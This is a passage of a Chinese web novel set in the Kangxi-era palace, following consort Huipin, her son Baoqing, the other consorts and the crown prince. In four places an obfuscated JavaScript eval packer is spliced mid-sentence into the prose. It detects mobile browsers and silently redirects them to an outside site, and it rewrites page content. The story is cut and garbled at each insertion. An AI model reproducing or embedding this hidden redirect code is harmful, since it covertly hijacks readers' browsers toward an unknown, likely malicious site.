最终还是孙嬷嬷先定了神,再次躬身行礼,语气里满是感激:“多谢惠嫔娘娘赏赐!” “嗯,”云筠淡淡应了一声。 “只是丑话,本宫得先说在前面。如今保清回了宫,往后就要守延禧宫的规矩。平日里你们照料阿哥的生活起居,若是尽心尽力,本宫自然不会为难你们。可若是出了差错,或是存了不该有的心思,延禧宫也容不得怠慢差事的人。” 两位嬷嬷连忙道不敢。 “你们也清楚,本宫与保清母子分离五年,如今好不容易团聚,总想多陪陪他,好好弥补这五年的亏欠。所以往后半年,希望两位嬷嬷不要插手本宫与保清的相处,更不要在保清面前多说些不该说的话。他是本宫的儿子,本宫自会教他疼他,无需旁人多嘴。” 两位嬷嬷闻言,齐齐点头。 孙嬷嬷率先恭敬回话:“娘娘说的是!娘娘是阿哥的亲额娘,阿哥本就该亲近娘娘,奴婢们绝不敢多嘴多舌,更不敢插手娘娘与阿哥相处的事。” 她对保清向来没有坏心,只是先前在宫外,总怕阿哥有半分闪失,自己担不起责任,才会对他管得严些,不让他随意跑跳。 如今有亲额娘在,她倒也松了口气。 另一位嬷嬷也连忙附和。 原本还担心回了宫要在额娘和阿哥之间费心周旋,如今惠嫔娘娘把话挑明,她们只需负责照料阿哥的衣食起居,倒省了不少麻烦,差事反而轻松了。 见她们都应下了,云筠脸上才又露出几分缓和的神色,摆了摆手。 “行了,赏赐你们先下去收好,往后尽心做事便是。” 两位嬷嬷再次谢过恩典,捧着赏赐的匣子,脚步轻快地退了出去。 西梢间里恢复了安静,茯苓走上前,轻声道:“主子,这两位嬷嬷看着倒是识趣,应当不会出什么乱子。” 云筠有自己的考量。 保清之后要去尚书房,她也不能把他熟悉的人全部撤走,总是需要一个有资历并且保清又信得过的人照顾他。 但是她也不希望保清被奶嬷嬷掣肘。 所以还是多观察一下吧。 —— 九月的暑气仍未全然消散,日头高悬在澄澈的天空中,唯有一场酣畅大雨,似乎才能彻底浇灭这残存的燥热。 保清是被透过窗棂的阳光晃醒的。 他伸了伸胳膊,看着陌生的帐顶才想起自己如今已经回了宫,现在睡在额娘床上。 额娘呢? 保清自己掀开薄被,轻轻下了床。 延禧宫的正殿规制齐整,面阔五间,明间敞着门,东次间用碧纱橱隔出,是平日待客的地方,再往里的东梢间才是起居之所,也就是保清醒来的地方。 云筠注意到了里面的动静——她就在东次间坐着。 在她看来保清真的是很乖的孩子,在陌生的地方醒来不吵不闹,还会乖乖对她笑。 经过一上午的相处,保清明显和她熟悉了许多,不再是刚见面时拘束的样子。 “保清醒啦,”云筠放下手里的绣活,非常温柔,“嬷嬷已经将保清的东西都收拾好了,保清想和额娘一起玩玩具吗?内务府刚刚送了一只木头小马过来,要去看看吗?” 对于阿哥的玩具,灵芝给出了非常有用的建议。 都说小孩子喜欢骑大马,让内务府给做一个木马,刚好让保清能够骑上去。 连理由都振振有词。 阿哥去了尚书房总会有师傅教骑马的,她们现在是让阿哥提前适应。 于是花了一笔银子,让内务府抓紧时间造玩具。 在金钱的作用下,内务府很快就弄好送了过来,刚好保清睡醒可以玩。 西次间已经整理出来,她准备让这里成为保清的玩具屋。 内务府的手艺确实精细,那木马除了不能真的跑起来,鬃毛、鞍鞯都雕得栩栩如生。 马背上还安了个小巧的扶手,正好够保清攥在手里。 除了这只大马,内务府还附赠了几只估计用边角料做出来的小马,像个小手办一样整齐排列在大马身侧。 保清似乎很喜欢,让孙嬷嬷将他抱了上去。 有云筠之前的那番谈话,孙嬷嬷不管心里怎么想,至少面上是一句一个动作,只要不叫她,她就站在一旁侍侯着,也不多言多动。 “保清喜欢吗?” 云筠摸了摸他脑袋。 “喜欢!”保清眼睛亮亮地看着云筠,“谢谢额娘!” “保清喜欢就好。” 云筠又摸了摸他的脑袋瓜。 可惜啊,等孩子满六岁,这额前的碎发就要剃成规矩的发式了。 只能趁现在多摸两把。 作为货真价实的小孩,保清在宫外的时候都能自己一个人在房间里面玩玩具很长一段时间。 现在有了云筠陪伴,保清也不再自己叽里咕噜说话,而是一边玩一边和额娘发出自己感想。 “额娘,这个马还会动!” “额娘,我是骑在马上的将军! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315774|182986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “我要当最厉害的巴图鲁!” 云筠陪着保清玩木马,玩幼稚的你拍不着我游戏,保清一直嘻嘻哈哈地笑着。 看得出他很开心了。 康熙还没有踏过门槛就听到了一阵清脆的笑声。 他抬手制止了要上前请安的宫女太监,循着笑声往里面走。 他向来端庄规矩的惠嫔正随意坐在炕上,脸上带着几道墨痕,笑得欢实。 而他刚入宫的,请安时看着就乖乖巧巧的五阿哥,脸上是东一块西一块的墨团,看着自己额娘似乎有些懵。 “这是在做什么?” 康熙突然发声。 云筠正玩得尽心,被吓得一机灵,一把将保清抄下炕,领着他行礼。 “皇上万福金安。” “皇阿玛万福金安。” 康熙挑眉,倒没料到惠嫔还有这么些力气,“起来吧。” 云筠起身时,已恢复了往日的端庄贤淑模样,只是脸上那几道墨痕,实在让她的沉稳打了折扣。 她装作什么都没有发生过的样子,“臣妾在教保清画画。” 保清性子自律,每日都要写几张大字。 上午忙着熟悉宫里的环境,下午和云筠玩够了,便记起了自己的功课。 云筠陪着他练完字,见砚台里还剩些墨汁,就想着教他画刚送来的木马。 似乎和孩子玩着自己的也年轻许多,云筠突发奇想一个主意。 将小木马涂上墨汁,往宣纸上一印。 这不就是马的侧脸吗? 于是有了康熙进来时看见的那一幕。 康熙顺着云筠的话看向炕桌上的宣纸。 只见宣纸上错落印着好几匹木马,墨色浓淡不一,有的还带着孩童指尖蹭过的模糊痕迹,倒添了几分天真意趣。 他眼底漫开一丝笑意,“这法子倒新鲜。” 见他没有责备之意,云筠悬着的心稍稍放下,“不过是和保清闹着玩,让皇上见笑了。” 保清站在一旁,小手也黑乎乎的全是墨汁。 见皇阿玛盯着宣纸看,小声补充:“皇阿玛,额娘教我印的马,比我画的好看!” 他画出来的就是一团墨汁,别说像匹马了,甚至不像个动物。 他说着,还踮起脚尖想指给康熙看。 只不过脚下没站稳,晃了一下。 康熙眼疾手快扶住他的胳膊,掌心触到孩子温热的小胳膊,软乎乎的。 “哦?保清也会画画?”康熙顺势在炕边坐下,目光落在孩子脸上的墨团上,忍不住用指腹轻轻蹭了蹭,“这脸上的墨,是画累了蹭上去的?” 保清被皇阿玛的动作弄得有些害羞,小声说,“刚才和额娘印马,不小心蹭到的。” 云筠站在一旁看着父子说话。 康熙还没有和自己的儿子好好相处过。 前面几个阿哥没有一个长成的,他见得最多的就是孩子安安静静躺在摇篮里,瘦弱的样子。 不像保清这么生龙活虎的。 太子也才三岁,虽然会乖乖喊他皇阿玛,但是太子养得精细,平时也是由奶嬷嬷照顾着。 面对保清孺慕的眼神,康熙有了一点慈父心肠,逗着保清,“既然额娘教了你印马,要不要给皇阿玛也印一匹?” 15. 惠嫔 保清眼睛一下子亮了,仰着满是墨痕的小脸点头:“要!” 他在宫外的时候也好奇过自己阿玛是谁。 毕竟允瑞有阿玛和额娘,但是他只有孙嬷嬷和刘嬷嬷,再加一个小德子。 孙嬷嬷告诉他,他的阿玛是皇上,是天底下最尊贵的人,所有人都要听他的。 所有人。 也包括允瑞的阿玛吗? 保清记得自己当时这么问了。 孙嬷嬷肯定告诉他,是的,他们都要听皇上的话。 所以他的阿玛要比允瑞的阿玛厉害。 而且也比允瑞的阿玛好! 允瑞说,他的阿玛总是骂他,有时候还要教训他,罚他写大字。 但是我的阿玛陪我玩! 保清心里美滋滋,看着自家皇阿玛的眼神更孺慕了。 康熙被这黏人的小模样逗得心头发软,虽不知他小脑瓜里转着什么念头,却格外受用这份依赖,干脆伸手将他抱起来,稳稳放在自己膝头。 云筠对父子亲近乐见其成,把砚台往近挪了挪,又取来一张干净宣纸铺好。 保清攥着小木马,小心翼翼蘸了墨,刚要往纸上印,又抬头看了看康熙。 像是在确认位置。 康熙好心伸手扶着他的小手:“慢慢来,想印在哪里就印在哪里。” 于是宣纸上多了一匹马。 两人就这么一个扶着小手,一个认真印画,玩了好一会儿,案上已经铺了好几张印着木马的宣纸。 灵芝进来询问,“皇上,主子,时候不早了,是否传晚膳?” 康熙正和自己儿子玩得高兴,大手一挥便决定晚膳就在延禧宫用了。 用过晚膳,康熙看着黏在自己身边不肯走的保清,心里思量。 如今宫里人都知道他来了延禧宫,若是此刻走了,难免有人说他对五阿哥不上心,或是对惠嫔有不满。 于是晚上也理所应当留宿了。 第二日清晨,各宫妃嫔按例去皇后宫里请安,云筠一进门,便成了众人目光的焦点。 “听说五阿哥昨日回宫了,延禧宫好生热闹,”僖嫔语气酸溜溜的,“皇上昨日也歇在了延禧宫呢。” 她现在怎么看惠嫔都不顺眼。 前几日皇上答应了她一起赏桂花,若不是惠嫔拿五阿哥邀宠,皇上昨日应该陪着她一起逛御花园的。 宜嫔一直秉持着僖嫔堵谁她帮谁的方针,嘴巴仿佛淬了毒,“五阿哥是皇嗣,皇上当然看重,不然去储秀宫看你的怨妇脸吗?” 说着,宜嫔还煞有其事的摇了摇头。 “说起来,僖嫔妹妹这脸色怎么差成这样?眼下都带着青影,莫不是昨夜没睡好?若是缺珍珠粉敷面,尽管去翊坤宫找我要,可别让旁人看了笑话。” 涉及到容貌,即使僖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315775|182986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嫔知道宜嫔估计在胡说八道,她也忍不住有些紧张。 色衰而爱驰,她是知道自己得宠的资本是什么的。 在宫里,但凡长相平凡点都出不了头。 若不是担心其她妃嫔笑话,僖嫔真想现在就摸出西洋镜看看自己的脸。 这一回合,僖嫔完败。 “好了,五阿哥回宫是喜事,惠嫔好好照顾便是,莫要再提这些闲话,”皇后出来打圆场。 她在后宫威望不低,妃嫔们也不会拂她的脸面,跳过这件事。 “再过几日就是重阳,这是妃嫔晋封后的第一个节日,按照往日习俗,宫里会举行重阳宴,到时候宫外的命妇和各府福晋都会参与,你们也好好打扮一番,不要堕了皇室威严。” 皇后说起正事时表情严肃,“到时候各宫的主位妃嫔,都要约束好自己宫里的人,无论是宫女还是太监,都不许在宴会上出半分差错。若是有人敢坏了规矩,丢了皇家的脸面,本宫绝不轻饶。” 重阳节是一个重要习俗。 康熙会在节日早晨率领皇室成员和王公大臣前往皇家园林登高,寓意步步高升,江山永固。 登高之后就是重阳宴,君臣同乐,后妃与内外命妇都会参与。 这是她成为皇后之后的第一次公开出席,绝对不允许出现差错。 妃嫔们都知道轻重缓急,互相看不痛快也不会在外面表露出来。 16. 惠嫔 人都想往高处走,宫女太监们也不是傻子,同样是伺候人,伺候得宠的妃嫔与不得宠的妃嫔那是天差地别。 在得宠的妃嫔身边伺候,时不时就有赏赐,穿的是主子赏赐的好料子,戴的是金玉手镯,比一些不受宠的答应常在还要体面。 鼠有鼠道,宫里哪位主子出手大方,哪位主子脾性不好,底下人心里自有一杆秤。 尤其是那些姑姑嬷嬷们,在宫里生活了大半辈子,知道的隐秘私事多着呢。 伺候人也是一门学问,不得不说就是有人生来就情商高,体贴入微。 “今日的茶倒是不错,”佟贵妃注意到了不同。 她爱喝龙井与碧螺春,之前茶房的宫女沏茶手法不错,还算合她心意。 只是皇后施恩宫女,她在培养出下一任之前就出宫了,之后佟贵妃喝茶总感觉不顺。 不过这是小事,她也没有表现出来,旁人也不知道。 现在喝到明显手艺不同的碧螺春,佟贵妃顺嘴问了一句。 春枝作为承乾宫大宫女,对下面的人很熟悉,回忆了一会儿解释道:“先前沏茶的宫女生病了,于是安排新入宫的顶几天,现在在茶房的是一个叫乌雅的,十六岁,手脚还算伶俐。” “以后都叫她沏茶吧,”佟贵妃淡淡道。 有尚可入口的茶水她也不会委屈自己,不过是一个新入宫的宫女罢了。 “是,”春枝答应了下来。 茶房宫女算是二等宫女了,可以住四人一间的通铺,这乌雅宫女倒是走了运。 至于之前那位沏茶的宫女,承乾宫不养差事做不明白的人,等她病好,调去外殿洒扫便是,不值得多费心思。 一个小宫女佟贵妃还放在心上,她关心的是另外一件事,“额娘还有多久能到?” 前几日向家里递了消息,回话说额娘会在今日入宫。 按宫规,命妇入宫需先去坤宁宫向皇后请安,可此刻已近巳时,若再耽搁,怕是赶不上出宫的时辰。 况且宫里规矩大,命妇不得在宫中用午膳,她怕额娘路上出什么岔子。 佟贵妃皱眉,“派人去看看,别让不长眼睛的冲撞了额娘。” 正说着,门口宫女进来通传,“主子,佟夫人到了。” 佟夫人出身赫舍里氏,也是世家大族,身上带着养尊处优的贵气和恰到好处的笑容。 见到额娘,佟贵妃迎了上去,声音里带着一丝连自己都未察觉的轻快。 “额娘来了。” 佟夫人脸上的笑容也变得真实,按着规矩行礼,“臣妇给贵妃娘娘请安,贵妃娘娘万福。” 还没有拜下去,佟贵妃就亲自将佟夫人扶起。 “不过一年没见,额娘怎么还跟女儿生分了?这承乾宫是我的地方,哪用得着讲这些虚礼。” 佟夫人口上说着礼不可废,但对女儿的关心很受用。 顺着佟贵妃的力道站起,佟夫人语气亲密,“在家里时我是最疼你的,如今说的是什么话。” 母女两人关系要好,佟贵妃亲自扶着佟夫人坐下,关切道,“家里可好?” “一切都好,”佟夫人笑容慈祥,只是看着佟贵妃有些心疼,“倒是你看着消瘦了些,在宫里可还好?” 让女儿入宫是家族一致的主意,她是嫡女,年纪又正好和皇上相合,从皇上登基那一刻起,女儿就是注定要入宫的。 只是宫里哪能是那么好待着的呢? 佟夫人细细打量着女儿眉眼,明明入宫之前脸上还带着稚气,现在入宫一年,脸颊上的肉都没有了。 佟贵妃似乎知道自己额娘在想什么,她亲昵地靠在佟夫人身上,“额娘放心呢,我在宫里一切都好,皇上也待我很好,我是贵妃,日子过得舒心着呢。” “你向来聪慧,”佟夫人欣慰地拍着佟贵妃的手背。 见两人似乎有私话要说,春枝领着伺候的宫女退了下去,并且亲自守在门外。 即使在承乾宫,佟夫人也没有失去谨慎,压低了声音,“不管怎么样,家族都是你的后盾,你只要稳住自己,不出错,日子是差不了的。至于子嗣,你阿玛的意思是希望你尽早诞下子嗣,但我是你额娘,妇人那些事情臭男人懂什么。” 佟夫人顿了顿,声音更低了,“你的身体才是最要紧的,至于什么坐胎药,是药三分毒,药补不如食补,听额娘一句劝,你现在要做的就是养好身子,子嗣先不急。” 听着额娘与赵嬷嬷相差不多的说辞,佟贵妃沉默点头。 她相信自己额娘。 佟夫人也是一个厉害人物,在她生下孩子之前,佟国维——也就是佟贵妃阿玛,后宅没有一个好消息。 后面就算她生下了孩子,后宅也只有安分的侍妾有孩子,不安分的早就被她打发出去了。 “额娘,我都听您的,”自己额娘好不容易入宫,佟贵妃也不想一直和她说这些事,转而让人将她早就准备好的礼物拿出。 作为受宠的贵妃,皇上经常给她赏赐,内务府也经常有孝敬。 “我给阿玛额娘,还有弟弟妹妹们都准备了,特别是三妹妹,她年纪小,这些首饰正适合她。” 佟夫人有两个女儿,佟贵妃口中的三妹妹与她一母同胞。 “我出门时她还念着你呢,”佟夫人笑呵呵的,“这几日她正在学刺绣,就是绣出的手帕实在难看,我拿出了你第一次绣的给她看,她可难过了。” 佟夫人对女儿是真心疼爱,有关佟贵妃的东西她都好好收着。 佟贵妃也懂得额娘的这份心,笑容甜蜜。 两人相谈甚欢,有宫女换上了新鲜瓜果与茶水。 佟夫人似乎想到了什么,皱眉,“你宫里有样貌好的宫女吗?” 佟贵妃不懂她为什么这么问,疑惑道,“宫女自然都是长相周正,有一两个出挑一些的也算正常。” “你若是没有那种打算,以后还是注意一些好,”佟夫人喝了一口茶,神色淡淡,“宫里是富贵地方,想一步登天的不少。” 佟夫人在年轻时也吃过这方面的亏。 她身边的侍女不知道什么时候和佟国维勾搭上了,佟国维亲口问她要了去,于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315776|182986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是后宅多了一名侍妾。 那侍女还是佟夫人的陪嫁,对她知根知底。 还好佟夫人及时止损,用了一点手段让侍女遭了厌弃,又让她消失了。 不然后宅有一个对她了如指掌的侍妾,对佟夫人来说绝对是一件坏事。 只是这些事情涉及长辈往事,佟夫人也不好与佟贵妃明说,只能让赵嬷嬷注意着。 佟贵妃有一点明白佟夫人的意思,笑着说,“额娘放心,承乾宫绝对不会出现宫女爬床的丑事。” 而且要是出了这种事情,她不得被后宫妃嫔嘲笑死。 只有无能的主位才会约束不好自己宫里的人。 见女儿信誓旦旦,佟夫人也放下了心,向她传授经验,“管理手下人要严慈相济,若是有异心你要早早打发了,绝对不能留。” 两人又说了一些话,直到自鸣钟声响起,佟夫人这才停下话头。 “好了,时间也不早了,我就先回去了。” 见女儿不舍地看着自己,佟夫人宽慰道,“过几日重阳宴,会再见的。” 于是佟夫人坐着一辆马车来,带着三辆马车走。 后面两辆都是佟贵妃给家中的礼物。 - 入了夜,天空淅淅沥沥地下起了小雨,敲在琉璃瓦上,发出细碎的嗒嗒声。 皇后睡得正好,隐约听到有人叫她,迷迷蒙蒙睁开眼。 烛火已被点亮,昏黄的光线下,大宫女春杏的脸近在眼前,眼神里满是焦急 “主子,兆祥所传来消息,九阿哥高热不退,现在请了太医过去。” 皇后睡意瞬间消散得无影无踪,连忙让宫女伺候着换衣裳,“这是什么时候的事?皇上那边可派人去了?” 由不得皇后不着急。 作为皇后,所有阿哥公主都要喊她一声皇额娘,照顾和管教阿哥公主是她责任的一环。 况且她刚坐上后位,正是要周全诸事的时候,若是九阿哥在这个节骨眼上出了差错,外人定会说她连后宫子嗣都照管不好,这可不是小事。 要知道她平日都会过问兆祥所的。 “回主子,”春杏连忙上前,一边帮皇后取过搭在屏风上的中衣,一边急声道,“兆祥所的嬷嬷说,宫门还没落锁那会儿,九阿哥就有些发低热,起初以为是夜里着凉,喂了些姜汤也没当回事,可后来体温越来越高,小脸烧得通红,连哭都没力气了,才赶紧请了太医。皇上那边已经派小太监去通报了,各宫应该也都收到消息了,延禧宫的惠嫔与纳喇贵人,奴婢也让人去传话了。” 九阿哥的生母是延禧宫的纳喇贵人,如今孩子高热不退,纳喇贵人作为生母,自然是要去的。 惠嫔则是作为延禧宫主位,这里面也有她的一部分责任。 皇后简单换了一件衣裳,头发更是随意挽起,下雨的夜晚有些寒凉,春杏给她披了一件斗篷,然后就急匆匆打着伞去了兆祥所。 惠嫔与纳喇贵人已经先一步到了,给皇后行礼之后,纳喇贵人继续忧心忡忡地看着太医。 太医正在给九阿哥诊脉。 17. 惠嫔 云筠目光落在床上。 九阿哥如今才两岁,本就比同龄的孩子显得瘦小些,脸上没什么肉,肤色也偏苍白,一看便知平日里身子不算强健。 现在更是因为高热脸颊通红,嘴皮干燥,时不时发出微弱的呓语,看得人心头发紧。 皇后也看到了九阿哥明显不太好的情况,眉头拧紧,低声询问,“李太医,九阿哥这情况,到底如何了?” 李太医收回手,捋了捋胡须,神情严肃,“九阿哥这病来得凶险,当务之急是先将温度降下去,只是九阿哥本来就身体弱了一些,这药······” 太医用药,特别是对公主阿哥用药,那是慎之又慎。 毕竟万一公主阿哥出了什么事,他们是有几条命也不够赔的。 之前宫里夭折了好些阿哥,那些负责照顾他们的太医,不说丢了命,至少升职无望了。 李太医还是相当看重自己前途的。 “只要能把九阿哥的热退下去,需要什么珍贵药材尽管去太医院取。” 康熙也来得急,身旁梁九功的半边肩膀都被打湿了。 明显听到了李太医的话,康熙没顾上众人行礼,越过皇后与纳喇贵人,大步走到床榻边,看着九阿哥的可怜模样眉头一沉。 “九阿哥的命,比什么都重要!” 有康熙这句话在,李太医将心放了一半回肚子,让身旁的药童去煎药,他自己则是用丝绸裹着小块冰,小心地放在九阿哥腋下,辅助降温。 庆幸的是,九阿哥的高热最后还是退了下去。 李太医的另一半心也放回了肚子。 前途暂时是保住了。 康熙有早朝,来了兆祥所也并没有待多久,在李太医说能治之后他便回了乾清宫。 折腾了将近一宿,皇后有些脸色发白,只是强撑着吩咐下去,“告诉各宫,今日免了请安。” 看着依旧满脸担忧的纳喇贵人,皇后揉了揉额角,“你们也回去吧,这里有太医和嬷嬷们守着,九阿哥有消息,我会及时派人告诉延禧宫。” 就算是生母,纳喇贵人也不能在兆祥所久待。 她虽满心不舍,也只能含泪应下。 皇后最后还嘱咐了一句,“惠嫔,五阿哥那里你仔细照顾着,昨晚下了雨,别让五阿哥着凉。” 云筠认真点头,“臣妾回去就让五阿哥喝姜汤。” 九阿哥的事情也给她敲响了警钟。 古代医疗水平不发达,一场风寒就能要了小命,保清虽然身体健康,但是能少生病还是少生病为好。 回去就盯着他跑跑跳跳增强免疫力。 于是在早膳之前,保清先迎来了一碗甜辣味的姜汤。 “额娘,为什么要一大早喝姜汤?” 他非常疑惑。 在宫外时保清也喝过姜汤,嬷嬷说那是驱寒的,喝了不会生病。 但是他昨天晚上睡得很好,也没有踢被子受风。 他认为自己不需要驱寒,不是很想喝。 云筠摸着他的脑袋瓜,轻声哄道:“昨夜下了雨,额娘有些受寒,保清陪着额娘喝好不好?” 她没提九阿哥的事,怕吓到年幼的孩子,只把理由往自己身上揽。 这么一说保清立马就愿意喝了。 他还给云筠做示范,“额娘,不要一口一口喝,要这样——” 保清端着只有他手掌一半大的小碗,咕咚咕咚一口气喝了下去。 喝完还给云筠看,“额娘我喝完了。” 然后眼巴巴瞧着她。 云筠失笑,学着保清的样子一口气直接喝完,并且夸赞他,“保清真棒。” 简简单单的一句,开启了保清一天的好心情。 他回宫后的日子过的也算规律。 卯时起床,然后和额娘一起用早膳,额娘去坤宁宫请安,他就在自己房间内背书。 然后额娘回来陪他一起练字,学习书画,他还会念书给额娘听。 之后就是一起用午膳,午休。 下午的时候会有延禧宫小太监陪着他一起做一些模仿射箭、摔跤的动作,算是变相陪他玩,额娘也会在一旁看着。 有时候皇阿玛也会来一起用晚膳。 总之,保清很喜欢这样的生活。 - 转眼间就到了重阳。 天还未亮透,延禧宫的烛火就亮了起来。 孙嬷嬷为保清换上阿哥朝服,石青色的夹袍镶着浅灰缎边,领口绣着小小的茱萸纹,衬得本就白净的保清更显精神。 今日保清并不与云筠一道,他要去慈宁宫向太皇太后请安。 云筠蹲下身,帮他理了理衣领,轻声叮嘱:“到了慈宁宫要乖,听皇玛嬷的话,别乱跑,知道吗?” 保清去慈宁宫她还是比较放心的,有太皇太后呢。 “知道啦!”保清用力点头。 到慈宁宫时,殿内正飘着淡淡的米粥香。 太皇太后刚坐在膳桌前,见他进来,原本略带倦意的眉眼瞬间舒展开,忙招手让他过来:“保清来啦,快到玛嬷身边坐。” 保清迈着小碎步走到桌前,规规矩矩地行了礼,“给皇玛嬷请安。” 面对五岁的重孙子,太皇太后只剩慈爱,“保清可用过早膳了?来,玛嬷这有刚蒸好的枣泥糕,你尝尝?” 作为上了年纪的老人,太皇太后膳桌上全是比较绵软的吃食。 一名宫女取了块小巧的枣泥糕,递到保清手里。 虽然用过了早膳,但面对点心,保清觉得自己也不是不能再吃一口。 枣泥糕带着淡淡的枣香,入口软糯清甜。 保清小口吃着。 见他吃得欢实,太皇太后也乐呵呵的,能吃是福,保清长得多好啊。 吃完枣泥糕,保清便被慈宁宫的嬷嬷带到了暖阁。 他要在这里等着皇阿玛来带他去园林登高。 一个明黄色的身影踏入暖阁。 那是件绣着五爪金龙的小朝服,明黄色的缎面泛着耀眼的光泽,只有太子才能穿这样的衣裳。 孙嬷嬷领着保清行礼,“给太子殿下请安。” 太子被奶嬷嬷牵着手,他今年才三岁,小小的身子裹在明黄色的朝服里,脸颊圆乎乎的,像个刚蒸好的糯米团子,他眨着圆溜溜的眼睛,奶声奶气地说:“免礼。” 然后便好奇地看着保清。 伺候太子的奶嬷嬷连忙在他耳边轻声解释:“殿下,这是五阿哥,是您的兄长,您可以叫他五哥。” 这是太子第一次有兄长这个概念。 平时他见得最多的就是皇阿玛,皇玛嬷,还有嬷嬷。 至于五哥,这还是第一次。 太子似懂非懂,歪着小脑袋想了想,又学着奶嬷嬷的称呼喊道:“五哥。” 保清本来有些别扭。 向皇阿玛还有额娘皇玛嬷行礼是因为她们是长辈,但是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320077|182986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为什么他还要向一个明显看起来就比他要小的人行礼? 不过这一点别扭在听到奶声奶气的五哥之后就消散了。 太子长得可爱精致,乖乖喊五哥的时候瞬间激起了保清作为哥哥的责任心。 虽然他自己没有当哥哥的经验。 但是他在宫外的时候见过允瑞照顾弟弟。 允瑞就是一个劲儿给弟弟喂自己喜欢的点心。 保清努力端起哥哥的架势,“太子弟弟,你要吃枣泥糕吗?” 暖阁里是准备了茶水点心的,并且知道是给阿哥准备的,点心都做的小巧极了,是三岁小孩都能够一口一个的程度。 可惜太子也是吃饱了出来的。 他非常有礼貌,“谢谢五哥,我不吃。” 保清还是想展现哥哥身份,“那你要玩玩具吗?” 暖阁里是准备有玩具的,太子经常来慈宁宫请安,他的奶嬷嬷也对这里的一切都非常熟悉。 只是奶嬷嬷有些顾虑。 五阿哥比太子殿下大了两岁,若是两人起了矛盾可怎么办? 小孩子不定性,可不会管什么身份尊贵不尊贵的。 但是太子明显对保清很好奇,或许小孩子就是喜欢和比他大的孩子玩,太子已经点头,“好,玩皮球。” 太子点头了,奶嬷嬷也只能照办。 她从暖阁角落的锦盒里取出皮球,那是颗软皮缝制的小皮球,填的棉絮松软,表面绣着浅青色的缠枝莲纹,既不会砸疼人,也合三岁孩童的手掌大小。 奶嬷嬷刚把球递到太子手里,太子就攥着球迈着小短腿往保清面前凑。 他把球往保清怀里塞:“五哥,你扔,我接。” 显然太子经常玩这种小游戏。 保清在宫外的时候也和允瑞这样玩过。 他蹲了下来,将皮球往太子方向轻轻滚去,最后正好停在太子脚边。 然后太子蹲下身,用小胖手将球滚回来。 明显太子的力道控制得不如保清,一推就推过了头,皮球滚到了屏风后面。 保清跑过去将球捡回来,重新递给太子,蹲在太子身边教他,“你要轻轻地推,这样才不会推过。” 奶嬷嬷站在一旁看着,见兄弟两人相处和谐,原本悬着的心渐渐放了下来。 太子是个聪明孩子,学着保清推了几下也掌握了力道,笑容甜得像个小天使。 “五哥,好厉害。” “五哥,你跑得好快。” “五哥······” 保清在一声声五哥中逐渐迷失了自我,玩皮球越发起劲。 他对太子这个弟弟简直满意得不得了。 玩了一会儿,保清小脸红扑扑的——太子推过了的皮球全是他跑去捡回来的,孙嬷嬷要帮忙他还不让。 见五阿哥出了汗,孙嬷嬷连忙上前劝道:“阿哥歇一会儿,仔细喘不过气。” 但是保清是谁。 这点室内运动量对他来说是小事,他还没有玩尽兴呢。 继续将捡回来的皮球抱给太子,保清摆了摆小手,“不要歇,我要继续和太子弟弟玩。” 保清已经不是最听孙嬷嬷话了。 在宫外时,他身边最亲近也是地位最高的就是孙嬷嬷。 但是回宫后,他敏锐意识到。 孙嬷嬷要听额娘的。 所以现在保清心里排第一的是自己额娘,孙嬷嬷的话可以偶尔不听。 18. 惠嫔 最后还是孙嬷嬷与太子奶嬷嬷一起劝,保清才放弃了继续玩球的想法,带着太子一起坐下吃点心。 休息了一会儿,殿外传来太监尖细的通报:“皇上驾到——” 孙嬷嬷与太子奶嬷嬷领着保清和太子站好。 小孩的友谊来得很快,这么一会儿太子就对保清亲近了许多,不似刚见面时站在奶嬷嬷身后,反儿主动往保清身边挪了挪。 软帘被太监轻轻掀开,康熙身着明黄朝服,迈着稳健的步子走进来。 他一眼就看到了地上的皮球,还有两个挨得很近的孩子。 “给皇阿玛请安。” 两个小孩乖乖行礼。 